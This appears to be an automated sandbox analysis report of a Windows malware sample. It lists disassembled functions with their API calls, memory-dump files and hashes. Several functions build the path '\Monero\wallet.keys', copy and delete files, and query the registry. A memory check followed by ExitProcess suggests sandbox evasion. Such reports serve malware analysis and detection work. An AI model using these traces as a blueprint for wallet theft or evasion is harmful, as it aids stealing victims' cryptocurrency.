lstrcat.KERNEL32(?,?), ref: 01014820
lstrcat.KERNEL32(?,?), ref: 01014834
lstrcat.KERNEL32(?,0185B700), ref: 01014847
lstrcat.KERNEL32(?,?), ref: 0101485B
lstrcat.KERNEL32(?,0186D9E8), ref: 0101486F

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 01018D90: GetFileAttributesA.KERNEL32(00000000,?,01001B54,?,?,0102564C,?,?,01020E1F), ref: 01018D9F

Part of subcall function 01014570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 01014580
Part of subcall function 01014570: RtlAllocateHeap.NTDLL(00000000), ref: 01014587
Part of subcall function 01014570: wsprintfA.USER32 ref: 010145A6
Part of subcall function 01014570: FindFirstFileA.KERNEL32(?,?), ref: 010145BD

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: a72f6b1ebae7c4b23aa37c55edc1796f152bbb435c0411449f4ff77a283b1ab0
Instruction ID: d3da02a9cc8176defc550873cafda86a658d4bf038145e56dd22ff97fb4b1025
Opcode Fuzzy Hash: a72f6b1ebae7c4b23aa37c55edc1796f152bbb435c0411449f4ff77a283b1ab0
Instruction Fuzzy Hash: AD3184B6D4021997DB20F7B0DC88EDD737CAB58704F444589F35697084EA749789CB91

Function 01001220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0100123E
__aulldiv.LIBCMT ref: 01001258
__aulldiv.LIBCMT ref: 01001266
ExitProcess.KERNEL32 ref: 01001294

Strings

@, xrefs: 01001233

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 21c823a443f5cc0c2a475f2c30acca4d4a856d5ee1646ffbd6094419b182b4db
Instruction ID: 9a3e83f713c405af6157523b291fc27a3d995cba3b1f8f314a0290dfdebac88e
Opcode Fuzzy Hash: 21c823a443f5cc0c2a475f2c30acca4d4a856d5ee1646ffbd6094419b182b4db
Instruction Fuzzy Hash: 50014BF0984308BBEB10DBE4DC49B9EBBB8AB14701F248048E745B72C4D67896518B99

Function 01017E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017E37
RtlAllocateHeap.NTDLL(00000000), ref: 01017E3E
RegOpenKeyExA.KERNEL32(80000002,0185C058,00000000,00020119,?), ref: 01017E5E
RegQueryValueExA.KERNEL32(?,0186DB68,00000000,00000000,000000FF,000000FF), ref: 01017E7F
RegCloseKey.ADVAPI32(?), ref: 01017E92

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 51b6368e27e1fb139ba6cefb361eb17e71a0a58b87f7496c30068393e630ca35
Instruction ID: aa5618d7422c315ae793f0e5c0df9f3fbf8b1891b934edecdada3aaabcd616cd
Opcode Fuzzy Hash: 51b6368e27e1fb139ba6cefb361eb17e71a0a58b87f7496c30068393e630ca35
Instruction Fuzzy Hash: A81151B5A80205EBD724CF94E949F7FBBF8FB08710F104119F606A7288D77858008BA1

Function 010012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 010012B4
RtlAllocateHeap.NTDLL(00000000), ref: 010012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 010012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 010012F5
RegCloseKey.ADVAPI32(?), ref: 010012FF

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: a2bbfdc48e56a474c68cb492164cbc31cc0d7bf90590d0aa4ab587a5b29b1d8a
Instruction ID: b6cbc84cb5709dd9fdaeb17e104df1fbe2042f6f2dbe96394608cd76df9de599
Opcode Fuzzy Hash: a2bbfdc48e56a474c68cb492164cbc31cc0d7bf90590d0aa4ab587a5b29b1d8a
Instruction Fuzzy Hash: E301E1B9A40208BBEB14DFE4E84DFAEB7BCEB48705F108159FA0697284D6759A018F50

Function 0100A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01868E70,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0100A0BD
LoadLibraryA.KERNEL32(0186DA88), ref: 0100A146

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A820: lstrlen.KERNEL32(01004F05,?,?,01004F05,01020DDE), ref: 0101A82B
Part of subcall function 0101A820: lstrcpy.KERNEL32(01020DDE,00000000), ref: 0101A885

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

SetEnvironmentVariableA.KERNEL32(01868E70,00000000,00000000,?,010212D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,01020AFE), ref: 0100A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0100A0B2, 0100A0C6, 0100A0DC

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 7d9285caa489e2fbb0473333ed3bbe8e07e6ab8e66f5484be940f52e566d71ef
Instruction ID: 778039175d3107525bd262407b8f2579c6eb001ad142c479c1e07b8d209cf0c6
Opcode Fuzzy Hash: 7d9285caa489e2fbb0473333ed3bbe8e07e6ab8e66f5484be940f52e566d71ef
Instruction Fuzzy Hash: BC4165B9A41205DFEF25DFA8F948BEE37B4BB59301F000129F54793288DB385985CB60

Function 0100A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 01018B60: GetSystemTime.KERNEL32(01020E1A,0186A2E8,010205AE,?,?,010013F9,?,0000001A,01020E1A,00000000,?,01869010,?,\Monero\wallet.keys,01020E17), ref: 01018B86

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0100A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0100A3FF
lstrlen.KERNEL32(00000000), ref: 0100A6BC

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

DeleteFileA.KERNEL32(00000000), ref: 0100A743

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 470d433015e42a08ab7ea554014e6d04af67a451b4e7b0bd74ecbf74cf881d1e
Instruction ID: dfb5d57e737c437876dab8e52a6f189fe725482806ac16a665aa3705878cd096
Opcode Fuzzy Hash: 470d433015e42a08ab7ea554014e6d04af67a451b4e7b0bd74ecbf74cf881d1e
Instruction Fuzzy Hash: 74E15E72A11149DBDB15FBA4ED94EEE7338AF24210F508159E45773098EF386A4ECB70

Function 0100D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 01018B60: GetSystemTime.KERNEL32(01020E1A,0186A2E8,010205AE,?,?,010013F9,?,0000001A,01020E1A,00000000,?,01869010,?,\Monero\wallet.keys,01020E17), ref: 01018B86

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0100D801
lstrlen.KERNEL32(00000000), ref: 0100D99F
lstrlen.KERNEL32(00000000), ref: 0100D9B3
DeleteFileA.KERNEL32(00000000), ref: 0100DA32

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 06e0ac1fb7cdc40aefc429c81c445b908966cd360cc412cbe886f35eeb13c196
Instruction ID: fffb86c01519c48965ed783eba2c3c9c81a7777fb96f21ba6d40f5d22ba7a45f
Opcode Fuzzy Hash: 06e0ac1fb7cdc40aefc429c81c445b908966cd360cc412cbe886f35eeb13c196
Instruction Fuzzy Hash: 89813276A51149DBDB15FBA4DD94EEE7339BF24210F404129F487A7098EF386A0ACB70

Function 0100F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 010099EC
